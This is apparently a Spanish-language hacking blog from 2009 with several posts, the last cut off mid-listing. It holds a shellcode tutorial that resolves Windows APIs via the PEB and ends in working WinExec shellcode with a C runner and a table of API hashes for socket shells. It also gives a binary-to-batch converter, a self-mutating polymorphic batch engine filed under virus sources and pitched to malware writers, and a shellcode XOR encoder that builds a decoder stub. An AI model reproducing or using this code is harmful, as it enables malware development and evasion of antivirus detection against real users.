Bien, lo que nos interesa aqui es la list entry:

Código:
LIST_ENTRY InLoadOrderModuleList;

Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:

Código:
typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.

———————————————————————————————————–

Encontrando la direccion de kernel32.dll

Para filtrar los datos del PEB partimos en tener un puntero a PEB:

Código:
mov ebx, fs:[0x30]

Ahora necesitamos apuntar a InLoadOrderModuleList de LDR

Código:
		mov ebx, [ebx+0x0C]  ;puntero a LDR
		mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32

Código:
		mov ebx, [ebx]
		mov ebx, [ebx + 0x08]

Entonces tendremos como codigo resultante:

Código:
		xor ebx, ebx ;ebx a 0
		mov ebx, fs:[0x30] ;apuntamos a PEB
		mov ebx, [ebx+0x0C] ;LDR a edx
		mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
		mov ebx, [ebx]
		mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx

Comparemos como funciona vs GetModuleHandleA():

Código:
#include <windows.h>
#include <stdio.h>

int main()
{
	DWORD kernelAdd;
	printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
	__asm{
		xor ebx, ebx
		mov ebx, fs:[0x30]
		mov ebx, [ebx+0x0C]
		mov ebx, [ebx+0x1C]
		mov ebx, [ebx]
		mov ebx, [ebx+0x08]
		mov kernelAdd, ebx
	}
	printf("\ncon PEB: %8X", kernelAdd);
	return 0;
}

Como podemos ver, las direcciones resultantes (en mi caso: “7C800000″ //win XP Pro sp3) son identicas. El metodo funciona.

———————————————————————————————————–

Mas teoria

Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta seccion es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.

Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>

De estos campos nos interesaremos en la parte de los directorios de datos. >>

EAT – Export Address Table

La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un índice basado en cero de 5.)

Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no estáadentro de la seccion de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una dirección real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un símbolo en otro DLL.

Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.

———————————————————————————————————–

Llamando a las APIs

El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos :D .

Analicemos como hacer las llamadas siguiendo los pasos anteriores:

Código:
api_call:
  pushad     ;registros a pila
  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     

loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0
  push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx          

get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi           

loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion    

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax 

tenemos la direccion virtual de la funcion    

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor 

anterior
  pop ebx        ;arreglamos la pila
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  jmp eax        ;llamamos a la funcion        

get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax  

get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod
  ;Harmony Security

Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:

Código:
[BITS 32]

  cld        ;bandera de direccion a cero
  call start ;puntero de api_call a la pila   

api_call:
 ;(...)
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp      

  jmp command     ;comando a ejecutar va a pila

exec:
  push 0x876F8B31 ;hash para WinExec a pila
  call ebp        ;llamamos a api_call       

  push 0x56A2B5F0 ;hash para ExitProcess a pila
  call ebp        ;llamamos a api_call      

command:
  call exec
  db "cmd.exe ", 0

Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:

Código:
char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Funciona?

Si funciono.

Algunos hashes muy usados:

Código:
0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA" 

0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv" 

0x5F38EBC2, "ws2_32.dll!send" 

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle" 

0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject" 

0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread" 

0x6F721347, "ntdll.dll!RtlExitUserThread" 

0x23E38427, "advapi32.dll!RevertToSelf"

Saludos!

:B2Bat (conversor de cualquier archivo a .bat)

Publicado en Herramientas con etiquetas , , , , , , , , , el Septiembre 12, 2009 por lShadowl
Código:
:: B2bat (binary to bat)
:: Author: lShadowl;The Shadow
:: Realese date:24/8/09
:: Realese version:1.0
:: Tested in Win Xp pro sp3
:: File size limit: 64kB
:: Info: Converts any file into a batch script.
:: Syntax: b2b <in file> <out script>

       @echo off
:b2b
setlocal enabledelayedexpansion&& set ms=%2&& set mos=%1
if not defined ms (echo Syntax: b2b ^<in file^> ^<out script^>&& goto:eof) else (echo.Working...)
echo.exit|cmd/K prompt $_rcx$_$_q>$
echo set cx=%%1>CX.bat
debug %1<$ | find "CX">_.bat&& call _
set/a ecx=0x100+0x%cx%
set hexstr=0123456789ABCDEF&& set sz=
:loop2
set/a ths=%ecx% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %ecx% GEQ 16 (set /A ecx=%ecx%/16&& goto:loop2) else (goto:kg)
:evals
set sz=%1%sz%&& goto:eof
:kg
echo.exit|cmd/K prompt $_d 100 %sz%$_q>$
type $ | debug %1>$.t
(echo set ff=createobject("scripting.filesystemobject"^)&& echo set rr=ff.opentextfile("$.t",1^)&& echo aa = rr.readall
echo rr.close&& echo r1 = Replace(aa,">",""^)&& echo r2 = Replace(r1,"<",""^)&& echo r3 = Replace(r2,"&",""^)
echo r4 = Replace(r3,"|",""^)&& echo set bb=ff.opentextfile("$.t",2^)&& echo bb.write r4)>rp.vbs&& rp.vbs
for /f "tokens=1,* delims=]" %%A in ('"type $.t|find /n /v """') do (set "current=%%B"

    if defined current (call set current=!!current:-= !!&& echo !current!>>$) else echo.>>$)
echo.exit|cmd/K prompt $_::Script by B2bat - B2bat by lShadowl$_       @echo off$_($_echo n b2bat.>%ms%
for /f "tokens=* skip=7 delims=%%a" %%a in ($) do (set csl=%%a&& echo echo e!csl:~5,53!>>%ms%)
:brk
echo exit|cmd/K prompt $_echo.$_echo rcx$_echo %sz%$_echo w$_echo q$_echo.$_)$Gda.t$A$A rem >>%ms%
echo.exit|cmd/K prompt $_debug$Lda.t$Gnul$_ren b2bat.exi %mos%$A$A rem >>%ms%
echo.Done.
goto:eof

Ejemplo:

>b2b tongue.gif tongue.bat

Resultante:

Código:
::Script by B2bat - B2bat by lShadowl
       @echo off
(
echo n b2bat.exit
echo e0100  47 49 46 38 39 61 0F 00 0F 00 D5 00 00 00 00 00
echo e0110  CC 99 00 70 66 00 52 42 00 66 66 66 EE E1 00 EC
echo e0120  D1 00 E8 BA 00 B0 69 00 23 1C 00 D6 9C 00 FF 00
echo e0130  00 86 86 86 BF A6 00 68 54 00 11 00 00 FF D6 00
echo e0140  FF FF 00 FF F8 00 32 28 00 FF E6 00 C5 9E 00 73
echo e0150  5C 00 11 10 00 26 23 00 7F 71 00 81 37 00 F0 B5
echo e0160  00 F5 C4 00 3C 00 00 CC A3 00 51 48 00 FF CC 00
echo e0170  FF F0 00 7E 6A 00 C1 74 00 E2 C8 00 C7 B3 00 FF
echo e0180  DD 00 62 5A 00 D0 B4 00 80 73 00 59 47 00 1B 16
echo e0190  00 33 33 00 EC BD 00 80 69 00 08 00 00 18 00 00
echo e01A0  7F 7C 00 56 51 00 6D 57 00 CC 99 00 E0 9E 00 79
echo e01B0  61 00 F8 CE 00 99 99 99 00 00 00 00 00 00 00 00
echo e01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04
echo e01D0  05 14 00 38 00 2C 00 00 00 00 0F 00 0F 00 00 06
echo e01E0  A3 40 9C 10 47 18 5C 00 97 0F 61 38 64 4C 56 22
echo e01F0  94 A1 24 C0 B0 18 CD 8B E3 66 32 51 42 A1 C2 E9
echo e0200  82 C5 4D 2C 20 88 F7 2B 69 CB 58 C4 04 27 BD 6E
echo e0210  47 24 85 4B D1 06 02 89 00 19 21 29 00 31 12 21
echo e0220  27 1F 17 1E 7D 00 8D 14 8D 00 60 25 47 73 20 2E
echo e0230  00 22 14 83 29 14 14 24 48 8B 7D 10 10 01 26 01
echo e0240  0A 14 26 0D 17 03 68 20 8D 0F 00 2F 00 08 5D 32
echo e0250  03 04 72 7D 20 23 0F 0B 1D 1A 10 2D 7A 66 0E 95
echo e0260  1B 0F 30 00 23 20 2A 13 42 0C AC BB 35 23 35 07
echo e0270  2A 64 4D 13 17 33 15 2D 01 33 2B 13 65 4C 45 47
echo e0280  AC 4B 43 41 00 3B 85
echo et

echo.
echo rcx
echo 286
echo w
echo q
echo.
)>da.t&& rem exit

debug<da.t>nul
ren b2bat.exi tongue.gif&& rem exit

Saludos!

Motor polimorfico para scripts batch

Publicado en VX Sources con etiquetas , , , , , , , el Septiembre 12, 2009 por lShadowl
Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set sdjf=fictsoehnd %ini%
  @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
  @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
  @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
  @%egnkv%off %ini%
  @%agnvl: =%local enabledelayedexpansion %ini%
%egnkv%Mutando... %ini%
%fsdhf%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"<%0>>$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%egnkv%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%egnkv%kdflekj.close>>asjdhau.vbs %ini%
%egnkv%Randomize>>asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%sjdfhjs = Replace(askdajs,"sdjf",ahqiaohe)>>asjdhau.vbs %ini%
%egnkv%lasdaod = Replace(sjdfhjs,"agnvl",jdfasuu)>>asjdhau.vbs %ini%
%egnkv%skdnmxi = Replace(lasdaod,"egnkv",dwudhqw)>>asjdhau.vbs %ini%
%egnkv%sjsabwu = Replace(skdnmxi,"fsdhf",asdwdkw)>>asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%
:: %m8%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%fsdhf%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Para ver como funciona os pondre mis variantes del code despues de haberlo ejecutado dos veces:

Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set pkseh=fictsoehnd %ini%
  @set cneso=%pkseh:~4,1%%pkseh:~6,1%%pkseh:~3,1% %ini%
  @%cneso%hfdjc=%pkseh:~6,1%%pkseh:~2,1%%pkseh:~7,1%%pkseh:~5,1% %ini%
  @%cneso%vchff=%pkseh:~0,2%%pkseh:~8,2% %ini%
  @%hfdjc%off %ini%
  @%cneso: =%local enabledelayedexpansion %ini%
%hfdjc%Mutando... %ini%
%vchff%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%vchff%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%vchff%"m%r: =%"<%0>>$ %ini%
%cneso%/a rdnmm=%random%*9999999 %ini%
%hfdjc%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%cneso%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%hfdjc%%a%|%vchff% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%vchff%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%hfdjc%%cneso%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%hfdjc%%cneso%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%hfdjc%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%hfdjc%kdflekj.close>>asjdhau.vbs %ini%
%hfdjc%Randomize>>asjdhau.vbs %ini%
%hfdjc%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%sjdfhjs = Replace(askdajs,"pkseh",ahqiaohe)>>asjdhau.vbs %ini%
%hfdjc%lasdaod = Replace(sjdfhjs,"cneso",jdfasuu)>>asjdhau.vbs %ini%
%hfdjc%skdnmxi = Replace(lasdaod,"hfdjc",dwudhqw)>>asjdhau.vbs %ini%
%hfdjc%sjsabwu = Replace(skdnmxi,"vchff",asdwdkw)>>asjdhau.vbs %ini%
%hfdjc%%cneso%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%hfdjc%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
::-1313031124 %m5%
:: %m1%
::2020451641 %m1%
:: %m8%
::-1739870728 %m8%
:: %m7%
::-443934897 %m7%
:: %m3%
::-1117740673 %m3%
:: %m2%
::-888192539 %m2%
:: %m0%
::1245290346 %m0%
:: %m6%
::-1909547966 %m6%
:: %m4%
::-1847546953 %m4%
:: %m9%
::191549157 %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%vchff%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%cneso% a=%a%o %mcmp%
goto :EOF)%mcmp%
%cneso% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%cneso%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set kjefv=fictsoehnd %ini%
  @set eiotf=%kjefv:~4,1%%kjefv:~6,1%%kjefv:~3,1% %ini%
  @%eiotf%gugip=%kjefv:~6,1%%kjefv:~2,1%%kjefv:~7,1%%kjefv:~5,1% %ini%
  @%eiotf%mgvmh=%kjefv:~0,2%%kjefv:~8,2% %ini%
  @%gugip%off %ini%
  @%eiotf: =%local enabledelayedexpansion %ini%
%gugip%Mutando... %ini%
%mgvmh%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%mgvmh%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%mgvmh%"m%r: =%"<%0>>$ %ini%
%eiotf%/a rdnmm=%random%*9999999 %ini%
%gugip%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%eiotf%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%gugip%%a%|%mgvmh% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%mgvmh%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%gugip%%eiotf%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%gugip%%eiotf%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%gugip%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%gugip%kdflekj.close>>asjdhau.vbs %ini%
%gugip%Randomize>>asjdhau.vbs %ini%
%gugip%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%sjdfhjs = Replace(askdajs,"kjefv",ahqiaohe)>>asjdhau.vbs %ini%
%gugip%lasdaod = Replace(sjdfhjs,"eiotf",jdfasuu)>>asjdhau.vbs %ini%
%gugip%skdnmxi = Replace(lasdaod,"gugip",dwudhqw)>>asjdhau.vbs %ini%
%gugip%sjsabwu = Replace(skdnmxi,"mgvmh",asdwdkw)>>asjdhau.vbs %ini%
%gugip%%eiotf%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%gugip%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m7%
::-443934897 %m7%
::525484065 %m7%
:: %m1%
::2020451641 %m1%
::-2018256975 %m1%
:: %m9%
::191549157 %m9%
::1635032111 %m9%
:: %m2%
::-888192539 %m2%
::1875225734 %m2%
:: %m3%
::-1117740673 %m3%
::1975806665 %m3%
:: %m0%
::1245290346 %m0%
::-39677251 %m0%
:: %m8%
::-1739870728 %m8%
::-568902610 %m8%
:: %m6%
::-1909547966 %m6%
::-1999741604 %m6%
:: %m4%
::-1847546953 %m4%
::1442194522 %m4%
:: %m5%
::-1313031124 %m5%
::-1207869762 %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%mgvmh%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%eiotf% a=%a%o %mcmp%
goto :EOF)%mcmp%
%eiotf% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%eiotf%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Como se puede ver el code demuestra el uso de las tecnicas de:

transpocision de codigo: notese el comportamiento de las lineas de codigo dentro de las lineas “:: CODIGO POLIMORFICO [INICIO] %ini%” y “:: CODIGO POLIMORFICO [FIN] %mcmp%”

incremento de tama?o: despues de cada ejecucion el codigo cambia de tama?o aumentando un numero aleatorio de bytes a?adiendo lineas como: “::-1739870728 %m8% “

variables aleatorias: notese que las cuatro primeras variables que se declaran en:

Código:
   @set sdjf=fictsoehnd %ini%
   @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
   @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
   @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%

osea, sdjf, agnvl, egnkv y fsdhf, que contienen las cadenas “fictsoehnd” “set” “echo” y “find”, cambian en cada ejecucion del programa por medio de un sencillo script en vbs que se ejecuta al final.

Para los que les gusta codear malware, esto les puede servir de algo.

Saludos!

: shc_encoder (Codificador de shellcodes)

Publicado en Herramientas con etiquetas , , , , , el Septiembre 12, 2009 por lShadowl
Código:
:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
	if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
